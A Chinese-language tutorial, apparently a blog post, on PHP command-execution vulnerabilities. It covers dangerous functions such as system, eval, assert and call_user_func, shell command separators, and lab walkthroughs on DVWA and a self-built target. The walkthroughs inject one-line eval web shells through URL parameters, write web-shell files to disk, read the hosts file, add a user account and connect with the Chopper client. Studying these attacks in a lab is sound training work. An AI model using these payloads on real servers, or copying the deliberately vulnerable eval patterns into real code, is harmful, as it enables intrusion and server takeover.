命令执行

命令执行

定义

基本定义

用户输入的数据会被当做系统命令执行。分为远程命令执行(远程代码执行)和系统命令执行两类。

原理

程序应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。

条件

  • 用户能够控制的函数输入
  • 存在可以执行代码或者系统命令的危险函数

成因

  • 由于开发人员编写源码时,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句,并提交服务端执行。
  • 命令注入攻击中,web服务器没有过滤类似system、eval和exec等函数,是该漏洞成功的主要原因。

危害

  • 继承web服务程序的权限去执行系统命令或读写文件
  • 反弹shell
  • 控制整个网站甚至控制服务器
  • 进一步内网渗透

函数解析

说明:
通过命令执行,有时候并不需要返回结果,进行显示,有时候我们上传了一个存在木马病毒的文件,然后通过命令执行,执行了恶意文件,那么此时木马就会开始运行,就可以起到一个破坏的作用,有显示只不过是更加直观的可以观察到确实执行成功了,并且可以获取一些用户信息。

系统命令执行函数

system()函数

作用
  • 执行命令输出结果
演示1
<?php system('whoami');?>

执行结果

1657504267495

演示2
<?php system('ipconfig');?>

执行结果

1657504326311

exec() 函数

作用
  • 只会得到结果最后一行(直接使用此函数没有输出)
演示1
<?php exec('whoami');?>

执行结果——没有输出

1657505071282

演示2
<?php echo exec('whoami');?>

1657505117805

演示3
<?php echo exec('ipconfig');?>

执行结果——只得到最后一行结果

1657505293997

shell_exec() 函数

作用
  • 只会得到结果的全部(没有输出)
演示1
<?php shell_exec('ipconfig');?>

1657505711755

演示2
<?php echo shell_exec('ipconfig');?>

1657505805410

``(反引号)的结果与shell_exec()函数是一样的
#以下两条命令结果是一样的
<?php echo `ipconfig`;?>
<?php echo shell_exec('ipconfig');?>
当shell_exec()函数被禁用了,``也是无效的
当shell_exec()函数被过滤了,可以使用``进行代替

passthru()函数

作用
  • 执行命令输出结果
演示1
<?php passthru('ipconfig');?>

1657505548036

popen()函数

作用
  • 打开进程文件指针
语法
popen(command,mode)
参数 描述
command 必需。规定要执行的命令。
mode 必需。规定连接模式。可能的值:r: 只读。w: 只写 (打开并清空已有文件或创建一个新文件)
演示1

单纯的使用popen只能获取文件指针,我们必须配合别的函数来读取指针,然后再将读取后的内容显示出来,所以与fread配合使用。

fread函数的作用

fread() 从文件指针 file 读取最多 length 个字节。函数会在到达指定长度或读到文件末尾(EOF)时(以先到者为准),停止运行。

#fread语法
fread(file,length)
参数 描述
file 必需。规定要读取打开文件。
length 必需。规定要读取的最大字节数。
<?php echo fread(popen('ipconfig','r'),4096);?>

执行结果——只输出第一行

1657507078745

远程命令执行函数

eval()函数

作用
  • 把字符串按照 PHP 代码来计算
演示1
<?php
$var = 'var';
if(isset($_GET['arg'])){
    $arg = $_GET['arg'];
    eval("\$var = $arg;");      #“\”的作用是让它识别成字符,不识别成变量
    echo "\$var =".$var;
}
?>

1657515367336

assert()函数

作用
  • 判断一个表达式是否成立,返回true or false。
语法
assert ( mixed $assertion [, Throwable $exception ] ):bool

assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。

如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。 assertion 是字符串的优势是当禁用断言时它的开销会更小,并且在断言失败时消息会包含 assertion 表达式。 这意味着如果你传入了 boolean 的条件作为 assertion,这个条件将不会显示为断言函数的参数;在调用你定义的 assert_options() 处理函数时,条件会转换为字符串,而布尔值 FALSE 会被转换成空字符串。

断言这个功能应该只被用来调试。 你应该用于完整性检查时测试条件是否始终应该为 TRUE,来指示某些程序错误,或者检查具体功能的存在(类似扩展函数或特定的系统限制和功能)。

演示1
<?php
$var = 'var';
if(isset($_GET['arg'])){
    $arg = $_GET['arg'];
    assert("\$var = $arg;");
    echo "\$var =".$var;
}
?>

1657516155060

preg_replace()函数

作用
  • 执行一个正则表达式的搜索和替换
语法
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

参数说明:

  • $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
  • $replacement: 用于替换的字符串或字符串数组。
  • $subject: 要搜索替换的目标字符串或字符串数组。
  • $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
  • $count: 可选,为替换执行的次数。
演示1
<?php
$var = 'var';
if(isset($_GET['arg'])){
    $arg = $_GET['arg'];
    preg_replace("/(.*)/e",'\\1',$arg);
}
?>

1657517421177

call_user_func()函数

作用
  • 把一个参数作为回调函数调用
语法
call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed

参数说明:

  • 第一个参数$callback作为回调函数,其它参数都是回调函数的参数。
  • $parameter:传入回调$callback函数的参数,这里的参数注意不能引用传递。
演示1
<?php
if(isset($_GET['a'])){
    call_user_func($_GET['a'],$_GET['b']);
}
?>

1657518322210

管道符号

windows

&       前面的语句为假则直接执行后面的
&&      前面的语句为假则直接出错,后面的也不执行
|       直接执行后面的语句
||      前面出错执行后面的

&

#前后都为真——都执行
C:\Users\Administrator>echo 1 & echo 2
1
2

#前假后真——前报错,后执行
C:\Users\Administrator>cat lala & echo 2
'cat' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
2

#前真后假——前执行,后报错
C:\Users\Administrator>echo 1 & cat 2
1
'cat' 不是内部或外部命令,也不是可运行的程序
或批处理文件。

&&

#前后都为真——都执行
C:\Users\44880>echo 1 && echo 2
1
2

#前假后真——都不执行
C:\Users\44880>cat 1 && echo 2
'cat' 不是内部或外部命令,也不是可运行的程序
或批处理文件。

#前真后假——前执行,后报错
C:\Users\44880>echo 1 && cat 2
1
'cat' 不是内部或外部命令,也不是可运行的程序
或批处理文件。

|

#前后都为真——执行后面的
C:\Users\44880>echo 1 | echo 2
2

#前假后真——都不执行
C:\Users\44880>cat 1 | echo 2
'cat' 不是内部或外部命令,也不是可运行的程序
或批处理文件。

#前真后假——都不执行
C:\Users\44880>echo 1 | cat 2
'cat' 不是内部或外部命令,也不是可运行的程序
或批处理文件。

||

#前后都为真——执行前面的
C:\Users\44880>echo 1 || echo 2
1

#前假后真——前报错,后执行
C:\Users\44880>cat 1 || echo 2
'cat' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
2

#前真后假——执行前面的
C:\Users\44880>echo 1 || cat 2
1

Linux

;       前面的执行完执行后面的
|       是管道符,显示后面的执行结果
||      当前面的执行出错时执行后面的

;

#前后都为真——都执行
┌──(root㉿kali)-[~]
└─# echo 1 ; echo 2                      
1
2

#前假后真——前报错,后执行
┌──(root㉿kali)-[~]
└─# cat 1 ; echo 2        
cat: 1: 没有那个文件或目录
2

#前真后假——前执行,后报错
┌──(root㉿kali)-[~]
└─# echo 1 ; cat 2 
1
cat: 2: 没有那个文件或目录

|

#前后都为真——执行后面的
┌──(root㉿kali)-[~]
└─# echo 1 | echo 2
2

#前假后真——后执行,钱报错
┌──(root㉿kali)-[~]
└─# cat 1 | echo 2 
2
cat: 1: 没有那个文件或目录

#前真后假——都不执行
┌──(root㉿kali)-[~]
└─# echo 1 | cat 2 
cat: 2: 没有那个文件或目录

||

#前后都为真——执行前面的
┌──(root㉿kali)-[~]
└─# echo 1 || echo 2
1

#前假后真——前报错,后执行
┌──(root㉿kali)-[~]
└─# cat 1 || echo 2 
cat: 1: 没有那个文件或目录
2

#前真后假——执行前面的
┌──(root㉿kali)-[~]
└─# echo 1 || cat 2 
1

windows中的命令

netstat -ano                        #查看端口
tasklist                            #查看进程
ipconfig                            #查看ip
type                                #查看文件内容
kill                                #杀死进程的
arp -a                              #探测路由表
whoami                              #查看当前权限
shutdown                            #关机 (关闭杀软服务,然后重启主机)
systeminfo                          #查看系统状态
net user                            #查看用户
net user a abc123 /add              #添加用户

PHP中的魔术常量

探测到网站存在远程命令执行漏洞,可以利用PHP魔术常量获取相关信息。
PHP 向它运行的任何脚本提供了大量的预定义常量。不过很多常量都是由不同的扩展库定义的,只有在加载了这些扩展库时才会出现,或者动态加载后,或者在编译时已经包括进去了。有八个魔术常量它们的值随着它们在代码中的位置改变而改变。

__LINE__       #文件中的当前行号
__FILE__       #文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件名
__DIR__        #文件所在的目录。如果用在被包括文件中,则返回被包括的文件所在的目录
__FUNCTION__   #该常量所在的函数名称(PHP 4.3.0 新加)。自PHP5起本常量返回该函数被定义时的名字(区分大小写)。在PHP4中该值总是小写字母的
__CLASS__      #该类被定义时的名字(PHP 4.3.0 新加)。自PHP5起本常量返回该类被定义时的名字(区分大小写)
__TRAIT__      #Trait的名字(PHP 5.4.0 新加)。自PHP5.4.0起,PHP实现了代码复用的一个方法,称为traits
__METHOD__     #类的方法名(PHP 5.0.0 新加)。返回该方法被定义时的名字(区分大小写)
__NAMESPACE__  #当前命名空间的名称(区分大小写)。此常量是在编译时定义的(PHP 5.3.0 新增)

常见命令执行场景

  • ping主机
  • DNS请求
  • office文档
  • 框架缺陷

实战靶场

远程命令执行一句话木马

在URL后面拼接一句话木马的内容

?arg=@eval($_REQUEST[123])

虽然有提示信息,但是不影响命令的执行

1657523755476

通过菜刀进行连接

1657523732826

远程命令利用魔术常量获取信息

1657523409027

远程命令读取文件内容

var_dump() 函数用于输出变量的相关信息。

file_get_contents() 函数把整个文件读入一个字符串中。

在URL后面拼接读取文件内容的命令

?arg=var_dump(file_get_contents('C:\Windows\System32\drivers\etc\hosts'))

1657524589325

远程命令插入木马文件

在URL后面拼接插入木马文件的命令

?arg=fputs(fopen("lala.php",'w'),'<?php @eval($_REQUEST[120]);?>')

写入文件没有提示信息

1657524930810

通过菜刀进行连接

1657525038643

1657525025443

系统命令查看敏感文件

windows操作系统中可以通过type命令查看文件内容

在URL后面插入查看文件内容语句

?sys=type C:\Windows\System32\drivers\etc\hosts

1657526515064

系统命令一句话木马

DVWA靶场

1657519286768

输入内容查看返回结果

1657520636285

就是一个很常规的ping测试

通过BURP抓包,然后修改post传参的内容,创建一句话木马文件

1657520436854

使用菜刀尝试连接

1657520385323

成功连接

1657520362469

关于中文乱码解决方案
1. 到DVWA安装目录下(.../WWW/DVWA-master/dvwa/includes)寻找文件dvwaPage.inc.php
2. 打开这个文件,然后在全文查找charset=utf-8,将所有utf-8修改为gb2312。
    注意:有好几处charset=utf-8,要全部修改成charset=gb2312。记得保存。
3. 接下来再使用DVWA就不会乱码啦。

自建靶场

在URL后面插入创建一句话木马文件的命令

?sys=echo "<?php @eval($_REQUEST[123])?>" > lala.php

1657526775037

菜刀连接

1657526887485

1657526927557

留下评论